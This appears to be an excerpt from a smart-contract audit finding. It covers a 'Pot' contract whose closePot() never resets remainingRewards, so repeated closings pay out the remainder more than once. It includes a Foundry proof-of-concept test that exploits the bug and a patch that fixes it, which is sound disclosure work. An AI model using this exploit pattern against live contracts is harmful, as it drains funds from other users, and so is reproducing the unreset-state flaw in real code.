function closePot() external onlyOwner {
if (block.timestamp - i_deployedAt < 90 days) {
revert Pot__StillOpenForClaim();
}
@> if (remainingRewards > 0) {
@> uint256 managerCut = remainingRewards / managerCutPercent;
i_token.transfer(msg.sender, managerCut);
@> uint256 claimantCut = (remainingRewards - managerCut) / i_players.length;
for (uint256 i = 0; i < claimants.length; i++) {
_transferReward(claimants[i], claimantCut);
}
}
}
address player3 = makeAddr("player3");
address player4 = makeAddr("player4");
address[] playersLocal = [player1, player2, player3, player4];
function test_closeContestSeveralTimes_callClaimAfterCloseContest() public mintAndApproveTokens {
vm.startPrank(user);
rewards = [500, 500, 500, 500];
totalRewards = 2000;
contest = ContestManager(conMan).createContest(playersLocal, rewards, IERC20(ERC20Mock(weth)), totalRewards);
ContestManager(conMan).fundContest(0);
vm.stopPrank();
vm.startPrank(player1);
Pot(contest).claimCut();
vm.stopPrank();
vm.warp(91 days);
uint256 conManBalanceBeforeCloseContest1 = ERC20Mock(weth).balanceOf(conMan);
uint256 playerBalanceBeforeCloseContest1 = ERC20Mock(weth).balanceOf(player1);
vm.prank(user);
ContestManager(conMan).closeContest(contest);
uint256 conManBalanceAfterCloseContest1 = ERC20Mock(weth).balanceOf(conMan);
uint256 playerBalanceAfterCloseContest1 = ERC20Mock(weth).balanceOf(player1);
uint256 managerCut1 = conManBalanceAfterCloseContest1 - conManBalanceBeforeCloseContest1;
console.log("managerCut1 ", managerCut1.toString());
uint256 playerProfit1 = playerBalanceAfterCloseContest1 - playerBalanceBeforeCloseContest1;
console.log("playerProfit1 ", playerProfit1.toString());
uint256 conManBalanceBeforeCloseContest2 = ERC20Mock(weth).balanceOf(conMan);
uint256 playerBalanceBeforeCloseContest2 = ERC20Mock(weth).balanceOf(player1);
vm.prank(user);
ContestManager(conMan).closeContest(contest);
uint256 comManBalanceAfterCloseContest2 = ERC20Mock(weth).balanceOf(conMan);
uint256 playerBalanceAfterCloseContest2 = ERC20Mock(weth).balanceOf(player1);
uint256 managerCut2 = comManBalanceAfterCloseContest2 - conManBalanceBeforeCloseContest2;
console.log("managerCut2 ", managerCut2.toString());
uint256 playerProfit2 = playerBalanceAfterCloseContest2 - playerBalanceBeforeCloseContest2;
console.log("playerProfit2 ", playerProfit2.toString());
assertLt(managerCut1, managerCut1 + managerCut2);
assertLt(playerProfit1, playerProfit1 + playerProfit2);
uint256 player2BalanceBeforeClaim = ERC20Mock(weth).balanceOf(player2);
vm.prank(player2);
Pot(contest).claimCut();
uint256 player2BalanceAfterClaim = ERC20Mock(weth).balanceOf(player2);
uint256 player2ProfitAfterClaim = player2BalanceAfterClaim - player2BalanceBeforeClaim;
console.log("player2ProfitAfterClaim ", player2ProfitAfterClaim.toString());
assertGt(player2ProfitAfterClaim, 0);
}
The logs show the actual doubled profit for a manager and a player after 2 consequent closings:
function closePot() external onlyOwner {
if (block.timestamp - i_deployedAt < 90 days) {
revert Pot__StillOpenForClaim();
}
- if (remainingRewards > 0) {
+ if (remainingRewards == 0) {
+ return;
+ }
uint256 managerCut = remainingRewards / managerCutPercent;
uint256 claimantCut = (remainingRewards - managerCut) / i_players.length;
+ remainingRewards = 0;
i_token.transfer(msg.sender, managerCut);
for (uint256 i = 0; i < claimants.length; i++) {
_transferReward(claimants[i], claimantCut);
}
}
}